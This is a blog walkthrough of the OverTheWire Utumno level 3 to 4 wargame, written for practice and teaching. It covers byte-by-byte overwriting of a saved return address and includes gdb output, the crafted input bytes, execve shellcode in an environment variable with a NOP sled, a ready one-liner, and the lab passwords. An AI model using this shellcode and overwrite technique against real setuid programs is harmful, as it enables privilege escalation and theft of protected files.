Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Utumno Level 3 → 4 tutorial!!

Login

Use the password from Level 2 → 3:

ssh utumno3@utumno.labs.overthewire.org -p 2227
# password: zuudafiine

Then head to the game folder:

cd /utumno

Task

Binary: /utumno/utumno3

  • Your stdin controls where and what bytes get written on the stack.
  • The program uses two getchar() calls per loop iteration:

    • The first byte influences the target address offset on the stack.
    • The second byte is the data written to that computed address.
  • Goal: carefully craft 8 input bytes to overwrite the saved return address (one byte at a time), then return into a NOP sled + shellcode we stash in an environment variable.

Source Code (Disassembly Excerpt)

Core logic around the loop:

0x080483eb <+0>:   push ebp
0x080483ec <+1>:   mov  ebp,esp
...
0x08048401 <+22>:  mov  eax,[ebp-0xc]        ; EAX = first getchar() byte
0x08048404 <+25>:  mov  ecx,eax              ; ECX = first byte
0x08048406 <+27>:  lea  edx,[ebp-0x3c]
0x08048409 <+30>:  mov  eax,[ebp-0x8]        ; loop index i
0x0804840c <+33>:  add  eax,edx
0x0804840e <+35>:  mov  byte ptr [eax],cl    ; store first byte into buf[i]

0x08048418 <+45>:  movzx ecx,byte ptr [eax]  ; ECX = buf[i] (first byte)
0x0804841e <+51>:  mov  edx,eax              ; edx = i
0x08048422 <+55>:  add  eax,eax              ; eax = 2*i
0x08048424 <+57>:  add  eax,edx              ; eax = 3*i
0x08048426 <+59>:  xor  ecx,eax              ; ECX ^= 3*i

0x08048440 <+85>:  call getchar@plt          ; read second byte
0x08048445 <+90>:  mov  byte ptr [ebp+ebx*1-0x24],al ; write 2nd byte at EBP + EBX - 0x24

0x08048449 <+94>:  add  dword ptr [ebp-0x8],0x1 ; i++
0x0804844d <+98>:  call getchar@plt             ; read next first byte (or -1 to end)

Takeaways:

  • Each iteration consumes two input bytes:

    1. the selector (becomes EBX after a small transform),
    2. the payload (written to EBP + EBX - 0x24).
  • The transform is EBX = (first_byte ^ (3*i)) at iteration i = 0..3.
  • We’ll run 4 iterations8 total input bytes to patch each byte of the saved RET.

Exploitation Steps

1) Find EBP & RET on entry

In gdb at main:

(gdb) x/8x $ebp
0xffffd688: 0x00000000 0xf7e2a286 0x00000001 0xffffd724 ...
              ^ EBP     ^ saved RET

So the saved return address lives at [EBP+4]; its last byte is at EBP+4 (here 0xffffd68c).

2) Derive the selector value for iteration 0

We want iteration i=0 to hit EBP+4 (RET’s LSB). At main+90, destination is:

dest = EBP + EBX - 0x24

For i=0, the transform is EBX = first_byte ^ (3*0) = first_byte.

Solve EBP + EBX - 0x24 = EBP + 4EBX = 0x28.

Check in gdb:

(gdb) break *main+94
(gdb) run <<< $(python -c "print '\x28\x41'")
(gdb) x/8wx $ebp
0xffffd688: 0x00000000 0xf7e2a241 ...

We overwrote RET’s last byte with 0x41. Success for the first pair.

3) Account for XOR(3*i) on later iterations

Per iteration i, the “selector” becomes EBX = first_byte ^ (3*i). That means the required input first byte differs each round:

  • i=0 → XOR 0
  • i=1 → XOR 3
  • i=2 → XOR 6
  • i=3 → XOR 9

You repeat the address math for EBP+5, EBP+6, EBP+7, adjusting for the XOR.

4) Final 8-byte payload (from the run)

"\x28\x41\x2a\x42\x2c\x43\x22\x44"

Running with it:

$ gdb -q ./utumno3
(gdb) run <<< $(python -c "print '\x28\x41\x2a\x42\x2c\x43\x22\x44'")
Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()

That shows control over RET (now 0x44434241); next we’ll return into our shellcode.

5) Prepare env-based shellcode + sled

We’ll read the next password file by executing /bin/cat /tmp/axc, where /tmp/axc is a symlink to /etc/utumno_pass/utumno4.

export EGG=$(python - <<'PY'
print "\x90"*500 + (
  "\x31\xc0\x99\xb0\x0b"              # xor-eax/eax; cdq; mov al,0xb
  "\x52"                              # push edx
  "\x68\x2f\x63\x61\x74"              # push "//cat"
  "\x68\x2f\x62\x69\x6e"              # push "/bin"
  "\x89\xe3"                          # mov ebx,esp
  "\x52"                              # push edx
  "\x68\x2f\x61\x78\x63"              # push "/axc"
  "\x68\x2f\x74\x6d\x70"              # push "/tmp"
  "\x89\xe1"                          # mov ecx,esp
  "\x52"                              # push edx
  "\x89\xe2"                          # mov edx,esp
  "\x51\x53\x89\xe1"                  # push ecx; push ebx; mov ecx,esp
  "\xcd\x80"                          # int 0x80 (execve)
)
PY)
ln -s /etc/utumno_pass/utumno4 /tmp/axc

6) Find a return address into the sled

In one run, the sled appeared near 0xffffdc9c:

(gdb) x/200x $esp
...
0xffffdc9c: 0x90909090 0x90909090 ...

So we’ll set RET to 0xffffdc9c (little-endian bytes \x9c\xdc\xff\xff), byte-by-byte using the 8-byte input.

7) Win

python -c "print '\x28\x9c\x2a\xdc\x2c\xff\x22\xff'" | /utumno/utumno3
oogieleoga

The program prints the password (via our cat shellcode). 🎯


Password

From my run:

oogieleoga

Quick One-liner

export EGG=$(python - <<'PY'
print "\x90"*500 + "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2f\x61\x78\x63\x68\x2f\x74\x6d\x70\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80"
PY)
ln -sf /etc/utumno_pass/utumno4 /tmp/axc
python -c "print '\x28\x9c\x2a\xdc\x2c\xff\x22\xff'" | /utumno/utumno3

Troubleshooting

  • Can’t hit the right byte? Recompute the selector for each iteration using first_byte = desired_EBX ^ (3*i), then ensure EBP + EBX - 0x24 equals the exact target (EBP+4+i).
  • RET shows garbage / wrong endianness? You’re writing bytes LSB → MSB. Confirm target addresses and write order in gdb.
  • No sled visible? Increase NOP count in EGG and re-scan the stack (x/1200x $esp-1200).
  • Shellcode path mismatch? Ensure the symlink /tmp/axc exists and points to /etc/utumno_pass/utumno4.

Congrats 🎉 You precisely byte-patched RET via dual getchar() logic and returned into an env-based shellcode—a beautiful demonstration of stack games and address math!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with